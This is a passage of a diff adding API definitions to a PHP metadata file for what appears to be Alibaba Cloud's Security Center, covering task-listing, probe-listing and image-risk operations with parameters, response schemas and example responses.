'schemes' => [ + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'get', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeCode' => '236190', + 'abilityTreeNodes' => [ + 'FEATUREsasJODUMM', + ], + 'tenantRelevance' => 'publicInformation', + ], + 'parameters' => [], + 'responses' => [ + 200 => [ + 'schema' => [ + 'title' => 'Schema of Response', + 'description' => 'Schema of Response', + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'title' => 'Id of the request', + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '69BFFCDE-37D6-5A49-A8BC-BB03AC83****', + ], + 'Data' => [ + 'description' => '返回数据。', + 'type' => 'object', + 'properties' => [ + 'Status' => [ + 'description' => '当前一键检测状态，枚举值：'."\n" + ."\n" + .'- 0：可以提交一键检测。'."\n" + ."\n" + .'- 1：当前任务尚未完成，无法提交检测。'."\n" + ."\n" + .'- 2：本周检测免费检测额度已使用，需等待下次免费检测时间。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '0', + ], + 'NextScanTime' => [ + 'description' => '下一次可以提交一键检测时间的时间戳。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1725530005357', + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'staticInfo' => [ + 'returnType' => 'synchronous', + ], + 'eventInfo' => [ + 'enable' => false, + 'eventNames' => [], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"69BFFCDE-37D6-5A49-A8BC-BB03AC83****\\",\\n \\"Data\\": {\\n \\"Status\\": 0,\\n \\"NextScanTime\\": 1725530005357\\n }\\n}","type":"json"}]', + 'title' => '获取能否提交一键检测', + ], + 'ListOperationProcessDetail' => [ + 'summary' => '查询操作任务子任务列表。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'list', + 'abilityTreeCode' => '248213', + 'abilityTreeNodes' => [ + 'FEATUREsas8WIQPJ', + ], + ], + 'parameters' => [ + [ + 'name' => 'TaskIds', + 'in' => 'query', + 'style' => 'repeatList', + 'schema' => [ + 'description' => '操作任务ID列表。', + 'type' => 'array', + 'items' => [ + 'description' => '操作任务ID。', + 'type' => 'string', + 'required' => false, + 'example' => 'a68478b8-811e-47ec-ab0c-3e5b077ca***', + ], + 'required' => false, + 'maxItems' => 100, + ], + ], + [ + 'name' => 'StatusCodes', + 'in' => 'query', + 'style' => 'repeatList', + 'schema' => [ + 'description' => '操作子任务状态码列表。', + 'type' => 'array', + 'items' => [ + 'description' => '操作子任务状态码，取值：'."\n" + .'- 0：未启动。'."\n" + .'- 1：检查中。'."\n" + .'- 2：成功。'."\n" + .'- 3：超时。'."\n" + .'- 4：失败。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '1', + ], + 'required' => false, + 'maxItems' => 100, + ], + ], + [ + 'name' => 'StartTime', + 'in' => 'query', + 'schema' => [ + 'description' => '以任务创建时间为准的查询开始时间，单位为毫秒。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => false, + 'example' => '1731469330000', + ], + ], + [ + 'name' => 'EndTime', + 'in' => 'query', + 'schema' => [ + 'description' => '以任务完成时间为准的查询结束时间，单位为毫秒。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => false, + 'example' => '1731555850000', + ], + ], + [ + 'name' => 'CurrentPage', + 'in' => 'query', + 'schema' => [ + 'description' => '分页查询，当前第几页，默认值为1。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '1', + ], + ], + [ + 'name' => 'PageSize', + 'in' => 'query', + 'schema' => [ + 'description' => '每页数量', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '20', + ], + ], + [ + 'name' => 'Lang', + 'in' => 'query', + 'schema' => [ + 'description' => '指定请求和接收消息的语言类型，默认值为**zh**。取值：'."\n" + .'- **zh**：中文'."\n" + .'- **en**：英文', + 'type' => 'string', + 'required' => false, + 'example' => 'zh', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'title' => 'ListOperationProcessDetailResponse', + 'description' => 'ListOperationProcessDetailResponse', + 'type' => 'object', + 'properties' => [ + 'ProcessDetails' => [ + 'description' => '操作子任务信息列表。', + 'type' => 'array', + 'items' => [ + 'description' => '操作子任务信息。', + 'type' => 'object', + 'properties' => [ + 'AssetVendor' => [ + 'title' => '资产供应商', + 'description' => '操作子任务关联的资产供应商。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '0', + ], + 'AssetType' => [ + 'title' => '资产类型', + 'description' => '操作子任务关联的资产类型。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '8', + ], + 'AssetSubType' => [ + 'title' => '资产子类型', + 'description' => '操作子任务关联的资产子类型。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'Checks' => [ + 'title' => '关联检查项列表', + 'description' => '操作子任务关联的检查项列表。', + 'type' => 'array', + 'items' => [ + 'description' => '操作子任务关联的检查项。', + 'type' => 'object', + 'properties' => [ + 'CheckId' => [ + 'description' => '操作子任务关联的检查项ID。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '133', + ], + 'CheckShowName' => [ + 'description' => '操作子任务关联的检查项名称。', + 'type' => 'string', + 'example' => 'Check for Security Center Agent Status', + ], + ], + ], + ], + 'StatusCode' => [ + 'description' => '操作子任务状态码，枚举值：'."\n" + .'- 0：未启动。'."\n" + .'- 1：检查中。'."\n" + .'- 2：成功。'."\n" + .'- 3：超时。'."\n" + .'- 4：失败。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '0', + ], + 'TaskId' => [ + 'description' => '操作子任务ID。', + 'type' => 'string', + 'example' => 'v34578b8-e567-47ec-2345-3e5b077ca***'."\n", + ], + 'StartTime' => [ + 'description' => '操作子任务开始时间的时间戳，单位为毫秒。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1730335622000', + ], + 'EndTime' => [ + 'description' => '操作子任务结束时间的时间戳，单位为毫秒。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1706544199000', + ], + 'DetailTaskId' => [ + 'description' => '操作子任务ID。', + 'type' => 'string', + 'example' => 'fb4bcd41-a916-46bc-ab1a-65fd383be***', + ], + 'CreateTime' => [ + 'description' => '任务创建时间的时间戳，单位为毫秒。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1706544199000', + ], + ], + ], + ], + 'PageInfo' => [ + 'description' => '分页信息。', + 'type' => 'object', + 'properties' => [ + 'CurrentPage' => [ + 'description' => '分页查询时，当前页的页码。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'PageSize' => [ + 'description' => '分页大小。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '20', + ], + 'TotalCount' => [ + 'description' => '总条数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '19', + ], + 'Count' => [ + 'description' => '当前页显示的数据条数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '10', + ], + ], + ], + 'RequestId' => [ + 'description' => '单次请求唯一码', + 'type' => 'string', + 'example' => 'CE500770-42D3-442E-9DDD-156E0F9F3***', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 400 => [ + [ + 'errorCode' => 'CspmParamIllegal', + 'errorMessage' => 'The parameter is not legal. %s.', + ], + ], + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"ProcessDetails\\": [\\n {\\n \\"AssetVendor\\": 0,\\n \\"AssetType\\": 8,\\n \\"AssetSubType\\": 1,\\n \\"Checks\\": [\\n {\\n \\"CheckId\\": 133,\\n \\"CheckShowName\\": \\"Check for Security Center Agent Status\\"\\n }\\n ],\\n \\"StatusCode\\": 0,\\n \\"TaskId\\": \\"v34578b8-e567-47ec-2345-3e5b077ca***\\\\n\\",\\n \\"StartTime\\": 1730335622000,\\n \\"EndTime\\": 1706544199000,\\n \\"DetailTaskId\\": \\"fb4bcd41-a916-46bc-ab1a-65fd383be***\\",\\n \\"CreateTime\\": 1706544199000\\n }\\n ],\\n \\"PageInfo\\": {\\n \\"CurrentPage\\": 1,\\n \\"PageSize\\": 20,\\n \\"TotalCount\\": 19,\\n \\"Count\\": 10\\n },\\n \\"RequestId\\": \\"CE500770-42D3-442E-9DDD-156E0F9F3***\\"\\n}","type":"json"}]', + 'title' => '查询操作任务子任务列表', + 'description' => '当前仅支持检查操作子任务查询。', + ], + 'ListOperationProcess' => [ + 'summary' => '查询操作任务列表。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'list', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeCode' => '248180', + 'abilityTreeNodes' => [ + 'FEATUREsas8WIQPJ', + ], + ], + 'parameters' => [ + [ + 'name' => 'TaskTypes', + 'in' => 'query', + 'style' => 'repeatList', + 'schema' => [ + 'description' => '任务类型，取值：'."\n" + .'- CHECK_ALL：全量检查。'."\n" + .'- CHECK_POLICY：按照配置策略的检查项执行的检查。'."\n" + .'- CHECK_SCHEDULE：定时检查。'."\n" + .'- CHECK_ITEM：按照指定检查项检查。'."\n" + .'- CHECK_INSTANCE：按照指定检查项加实例的检查。', + 'type' => 'array', + 'items' => [ + 'description' => '任务类型。', + 'type' => 'string', + 'required' => false, + 'example' => 'CHECK_POLICY', + ], + 'required' => false, + 'maxItems' => 100, + ], + ], + [ + 'name' => 'CurrentPage', + 'in' => 'query', + 'schema' => [ + 'description' => '分页查询时，显示的当前页的页码。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '1', + ], + ], + [ + 'name' => 'PageSize', + 'in' => 'query', + 'schema' => [ + 'description' => '查询页面大小', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '20', + ], + ], + [ + 'name' => 'StatusCodes', + 'in' => 'query', + 'style' => 'repeatList', + 'schema' => [ + 'description' => '任务状态码列表。', + 'type' => 'array', + 'items' => [ + 'description' => '检查任务状态码列表，取值：'."\n" + ."\n" + .'- 0：未启动'."\n" + .'- 1：检查中'."\n" + .'- 2：检查完成'."\n" + .'- 3： 超时', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '0', + ], + 'required' => false, + 'maxItems' => 100, + ], + ], + [ + 'name' => 'StartTime', + 'in' => 'query', + 'schema' => [ + 'description' => '以任务创建时间为准的查询开始时间，单位为毫秒。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => false, + 'example' => '1680919232000', + ], + ], + [ + 'name' => 'EndTime', + 'in' => 'query', + 'schema' => [ + 'description' => '以任务完成时间为准的查询结束时间，单位为毫秒。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => false, + 'example' => '1635575219000', + ], + ], + [ + 'name' => 'TaskIds', + 'in' => 'query', + 'style' => 'repeatList', + 'schema' => [ + 'description' => '任务ID列表。', + 'type' => 'array', + 'items' => [ + 'description' => '任务ID。', + 'type' => 'string', + 'required' => false, + 'example' => '3d7a1b68-599f-4e16-9b45-e920a183b***', + ], + 'required' => false, + 'maxItems' => 100, + ], + ], + [ + 'name' => 'TaskSources', + 'in' => 'query', + 'style' => 'repeatList', + 'schema' => [ + 'description' => '任务来源列表。', + 'type' => 'array', + 'items' => [ + 'description' => '任务来源。取值：'."\n" + ."\n" + .'- **YAO_CHI**：瑶池控制台。', + 'type' => 'string', + 'required' => false, + 'example' => 'YAO_CHI', + ], + 'required' => false, + 'maxItems' => 10, + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'title' => 'ListOperationProcessResponse', + 'description' => 'ListOperationProcessResponse', + 'type' => 'object', + 'properties' => [ + 'Processes' => [ + 'description' => '操作任务信息列表。', + 'type' => 'array', + 'items' => [ + 'description' => '操作任务信息。', + 'type' => 'object', + 'properties' => [ + 'TotalCount' => [ + 'description' => '查询到的数据总条数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '337', + ], + 'FinishCount' => [ + 'description' => '完成数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '197', + ], + 'TaskId' => [ + 'description' => '操作任务的ID。', + 'type' => 'string', + 'example' => '3d7a1b68-599f-4e16-9b45-e920a183b***'."\n", + ], + 'StatusCode' => [ + 'description' => '检查任务状态码列表，取值：'."\n" + ."\n" + .'- 0：未启动'."\n" + .'- 1：检查中'."\n" + .'- 2：检查完成'."\n" + .'- 3： 超时', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'TaskType' => [ + 'description' => '任务类型，取值：'."\n" + .'- CHECK_ALL：全量检查。'."\n" + .'- CHECK_POLICY：按照配置策略的检查项执行的检查。'."\n" + .'- CHECK_SCHEDULE：定时检查。'."\n" + .'- CHECK_ITEM：按照指定检查项检查。'."\n" + .'- CHECK_INSTANCE：按照指定检查项加实例的检查。', + 'type' => 'string', + 'example' => 'CHECK_POLICY', + ], + 'StartTime' => [ + 'description' => '任务开始时间，单位为毫秒。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1705457102000', + ], + 'EndTime' => [ + 'description' => '任务结束时间，单位为毫秒。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1705467559000', + ], + 'CreateTime' => [ + 'description' => '任务创建时间，单位为毫秒。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1674388824000', + ], + 'TaskSource' => [ + 'description' => '任务来源。取值：'."\n" + ."\n" + .'- **YAO_CHI**：瑶池。', + 'type' => 'string', + 'example' => 'YAO_CHI', + ], + 'DetailTaskTotalCount' => [ + 'description' => '子任务总数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '10', + ], + 'DetailTaskReadyCount' => [ + 'description' => '子任务完成数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '5', + ], + ], + ], + ], + 'PageInfo' => [ + 'description' => '分页信息。', + 'type' => 'object', + 'properties' => [ + 'CurrentPage' => [ + 'description' => '分页查询时，显示的当前页的页码。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'PageSize' => [ + 'description' => '分页，每页数量', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '20', + ], + 'TotalCount' => [ + 'description' => '总条数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '263', + ], + 'Count' => [ + 'description' => '当前页显示的数据条数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '4', + ], + ], + ], + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => 'F8B6F758-BCD4-597A-8A2C-DA5A552C****', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 400 => [ + [ + 'errorCode' => 'CspmParamIllegal', + 'errorMessage' => 'The parameter is not legal. %s.', + ], + ], + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"Processes\\": [\\n {\\n \\"TotalCount\\": 337,\\n \\"FinishCount\\": 197,\\n \\"TaskId\\": \\"3d7a1b68-599f-4e16-9b45-e920a183b***\\\\n\\",\\n \\"StatusCode\\": 1,\\n \\"TaskType\\": \\"CHECK_POLICY\\",\\n \\"StartTime\\": 1705457102000,\\n \\"EndTime\\": 1705467559000,\\n \\"CreateTime\\": 1674388824000,\\n \\"TaskSource\\": \\"YAO_CHI\\",\\n \\"DetailTaskTotalCount\\": 10,\\n \\"DetailTaskReadyCount\\": 5\\n }\\n ],\\n \\"PageInfo\\": {\\n \\"CurrentPage\\": 1,\\n \\"PageSize\\": 20,\\n \\"TotalCount\\": 263,\\n \\"Count\\": 4\\n },\\n \\"RequestId\\": \\"F8B6F758-BCD4-597A-8A2C-DA5A552C****\\"\\n}","type":"json"}]', + 'title' => '查询操作任务列表', + 'description' => '当前仅支持检查操作任务查询。', + ], + 'DescribeCanAccessVpcSale' => [ + 'summary' => '判断是否可以支持按照VPC购买，如果能只需要购买加白的VPC的资产的授权。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'systemTags' => [ + 'operationType' => 'get', + 'abilityTreeCode' => '92012', + 'abilityTreeNodes' => [ + 'FEATUREsas0KX1KI', + ], + ], + 'parameters' => [], + 'responses' => [ + 200 => [ + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'CanAccess' => [ + 'description' => '是否能按照VPC购买。', + 'type' => 'boolean', + 'example' => 'true', + ], + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '7BC55C8F-226E-5AF5-9A2C-2EC43864****', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"CanAccess\\": true,\\n \\"RequestId\\": \\"7BC55C8F-226E-5AF5-9A2C-2EC43864****\\"\\n}","type":"json"}]', + 'title' => '查询资产是否可以按VPC销售', + ], + 'DescribeDomainSecureSuggests' => [ + 'summary' => '查询网站安全报告的安全建议。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'get', + 'abilityTreeCode' => '92065', + 'abilityTreeNodes' => [ + 'FEATUREsas3VVW1Q', + ], + ], + 'parameters' => [ + [ + 'name' => 'SourceIp', + 'in' => 'query', + 'schema' => [ + 'description' => '访问源的ip地址。', + 'type' => 'string', + 'required' => false, + 'example' => '218.249.*.*', + ], + ], + [ + 'name' => 'Lang', + 'in' => 'query', + 'schema' => [ + 'description' => '设置请求和接收消息的语言类型，默认为**zh**。取值：'."\n" + .'- **zh**：中文'."\n" + .'- **en**：英文'."\n", + 'type' => 'string', + 'required' => false, + 'example' => 'zh', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'RiskSuggest' => [ + 'description' => '安全加固的整体建议。', + 'type' => 'string', + 'example' => 'Use the security center, such as security alerts, vulnerability scanning, and vulnerability fixes, to resolve security risks as soon as possible.', + ], + 'WebLockSuggest' => [ + 'description' => '网站防篡改的建议。', + 'type' => 'string', + 'example' => 'The website tamper-proofing feature is recommended to prevent the website from being maliciously injected into external links, and being tampered with as malicious information, causing serious negative social impact to the enterprise.', + ], + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '7BC55C8F-226E-5AF5-9A2C-2EC43864****', + ], + 'VulSuggest' => [ + 'description' => '漏洞修复的建议。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => 'If your business cannot promptly fix vulnerabilities in high-risk applications, we recommend that you enable the cloud firewall IPS feature to intercept malicious attacks on the network side.', + ], + 'TotalCount' => [ + 'description' => '安全建议的总数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '4', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RiskSuggest\\": \\"Use the security center, such as security alerts, vulnerability scanning, and vulnerability fixes, to resolve security risks as soon as possible.\\",\\n \\"WebLockSuggest\\": \\"The website tamper-proofing feature is recommended to prevent the website from being maliciously injected into external links, and being tampered with as malicious information, causing serious negative social impact to the enterprise.\\",\\n \\"RequestId\\": \\"7BC55C8F-226E-5AF5-9A2C-2EC43864****\\",\\n \\"VulSuggest\\": 0,\\n \\"TotalCount\\": 4\\n}","type":"json"}]', + 'title' => '查询网站安全报告的安全建议', + ], + 'DescribeIdcProbeList' => [ + 'summary' => '获取多云配置管理功能中IDC机房资产发现探针的列表。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'systemTags' => [ + 'operationType' => 'get', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeCode' => '92094', + 'abilityTreeNodes' => [ + 'FEATUREsasK0Q1Y8', + ], + ], + 'parameters' => [ + [ + 'name' => 'PageSize', + 'in' => 'query', + 'schema' => [ + 'description' => '指定分页查询时，每页显示的数据最大条数。每页默认显示的数据条数为20条，PageSize参数值为空时，将默认返回20条数据。'."\n" + .'> 建议PageSize取值不要为空。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '20', + ], + ], + [ + 'name' => 'CurrentPage', + 'in' => 'query', + 'schema' => [ + 'description' => '设置从返回结果的第几页开始显示查询结果。默认值为1，表示从第1页开始显示。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '1', + ], + ], + [ + 'name' => 'Status', + 'in' => 'query', + 'schema' => [ + 'description' => '探针使用状态。取值：'."\n" + ."\n" + .'- **0**：启用'."\n" + .'- **1**：停用', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '0', + ], + ], + [ + 'name' => 'IdcName', + 'in' => 'query', + 'schema' => [ + 'description' => 'IDC的名称。', + 'type' => 'string', + 'required' => false, + 'example' => '3K IDC', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '0C8487EF-50C2-54BB-8634-10F8C35D****', + ], + 'PageInfo' => [ + 'description' => '分页信息。', + 'type' => 'object', + 'properties' => [ + 'CurrentPage' => [ + 'description' => '分页查询时，当前页的页码。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'PageSize' => [ + 'description' => '分页查询时，每页最多显示的数据条数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '20', + ], + 'TotalCount' => [ + 'description' => '总条数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '30', + ], + 'Count' => [ + 'description' => '分页查询时，当前页显示数据条数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '17', + ], + ], + ], + 'IdcProbes' => [ + 'description' => 'IDC探针列表。', + 'type' => 'array', + 'items' => [ + 'description' => 'IDC探针列表。', + 'type' => 'object', + 'properties' => [ + 'Status' => [ + 'description' => '探针使用状态。取值：'."\n" + ."\n" + .'- **0**：启用'."\n" + .'- **1**：停用', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '0', + ], + 'LinuxPort' => [ + 'description' => 'Linux端口。', + 'type' => 'string', + 'example' => '22', + ], + 'InternetIp' => [ + 'description' => '公网IP地址。', + 'type' => 'string', + 'example' => '47.98.*.*', + ], + 'IdcRegion' => [ + 'description' => '地域。', + 'type' => 'string', + 'example' => 'cn-hangzhou', + ], + 'InstanceId' => [ + 'description' => '资产的实例id。', + 'type' => 'string', + 'example' => 'i-xxxxx', + ], + 'IpSegments' => [ + 'description' => 'IP段范围。', + 'type' => 'string', + 'example' => '192.168.1.0/24', + ], + 'IntranetIp' => [ + 'description' => '实例的私网IP。', + 'type' => 'string', + 'example' => '10.68.*.*', + ], + 'Uuid' => [ + 'description' => '服务器UUID。', + 'type' => 'string', + 'example' => 'inet-eae02b9a-1dbd-44a6-844c-69072b27****', + ], + 'IntervalPeriod' => [ + 'description' => '扫描周期。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '16', + ], + 'InstanceName' => [ + 'description' => '实例名称。', + 'type' => 'string', + 'example' => 'oraclexxx', + ], + 'PeriodUnit' => [ + 'description' => '扫描周期的单位，取值：'."\n" + .'- **day**：天。'."\n" + .'- **hour**：小时。', + 'type' => 'string', + 'example' => 'day', + ], + 'WinPort' => [ + 'description' => 'Windows端口。', + 'type' => 'string', + 'example' => '3389', + ], + 'IdcName' => [ + 'description' => 'IDC机房名称。', + 'type' => 'string', + 'example' => '3K IDC', + ], + 'ServiceStatus' => [ + 'description' => '探针服务状态。取值：'."\n" + ."\n" + .'- **0**：正常'."\n" + .'- **1**：异常', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '0', + ], + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"0C8487EF-50C2-54BB-8634-10F8C35D****\\",\\n \\"PageInfo\\": {\\n \\"CurrentPage\\": 1,\\n \\"PageSize\\": 20,\\n \\"TotalCount\\": 30,\\n \\"Count\\": 17\\n },\\n \\"IdcProbes\\": [\\n {\\n \\"Status\\": 0,\\n \\"LinuxPort\\": \\"22\\",\\n \\"InternetIp\\": \\"47.98.*.*\\",\\n \\"IdcRegion\\": \\"cn-hangzhou\\",\\n \\"InstanceId\\": \\"i-xxxxx\\",\\n \\"IpSegments\\": \\"192.168.1.0/24\\",\\n \\"IntranetIp\\": \\"10.68.*.*\\",\\n \\"Uuid\\": \\"inet-eae02b9a-1dbd-44a6-844c-69072b27****\\",\\n \\"IntervalPeriod\\": 16,\\n \\"InstanceName\\": \\"oraclexxx\\",\\n \\"PeriodUnit\\": \\"day\\",\\n \\"WinPort\\": \\"3389\\",\\n \\"IdcName\\": \\"3K IDC\\",\\n \\"ServiceStatus\\": 0\\n }\\n ]\\n}","type":"json"}]', + 'title' => '查询IDC机房资产发现探针列表', + ], + 'DescribeImageRiskLevelStatistic' => [ + 'summary' => '查询存在安全风险告警的镜像的个数，包括漏洞、基线和恶意样本风险。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'get', + ], + 'parameters' => [], + 'responses' => [ + 200 => [ + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => 'A60DA4EC-7CD8-577D-AD73-******', + ], + 'ImageRiskLevelList' => [ + 'description' => '镜像级别的风险信息，包括漏洞、基线以及恶意文件检测的风险。', + 'type' => 'array', + 'items' => [ + 'description' => '镜像级别的风险信息。', + 'type' => 'object', + 'properties' => [ + 'Cnt' => [ + 'description' => '该风险等级的统计镜像个数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '12', + ], + 'ImageRiskLevel' => [ + 'description' => '镜像风险等级。取值：'."\n" + .' - **3**：高风险'."\n" + .'- **2**：中风险'."\n" + .'- **1**：低风险'."\n" + .'- **0**：无风险', + 'type' => 'string', + 'example' => '0', + ], + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"A60DA4EC-7CD8-577D-AD73-******\\",\\n \\"ImageRiskLevelList\\": [\\n {\\n \\"Cnt\\": 12,\\n \\"ImageRiskLevel\\": \\"0\\"\\n }\\n ]\\n}","type":"json"}]', + 'title' => '查询镜像风险统计', + ], + 'DescribeImageSecurityScanCount' => [ + 'summary' => '获取镜像安全事件数量。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'get', + ], + 'parameters' => [ + [ + 'name' => 'RepoRegionId', + 'in' => 'query', + 'schema' => [ + 'description' => ' 容器镜像仓库的地域ID。', + 'type' => 'string', + 'required' => false, + 'example' => 'cn-beijing', + ], + ], + [ + 'name' => 'RepoInstanceId', + 'in' => 'query', + 'schema' => [ + 'description' => '指定容器镜像实例ID。'."\n" + ."\n" + .'> 调用[DescribeImageInstances](~~DescribeImageInstances~~)接口获取该参数。', + 'type' => 'string', + 'required' => false, + 'example' => 'cri-p2jahwuuwuk7****', + ], + ], + [ + 'name' => 'RepoId', + 'in' => 'query', + 'schema' => [ + 'description' => '容器镜像仓库ID。', + 'type' => 'string', + 'required' => false, + 'example' => '3df5b5a1f2339eb7ebc7d474b8d4****', + ], + ], + [ + 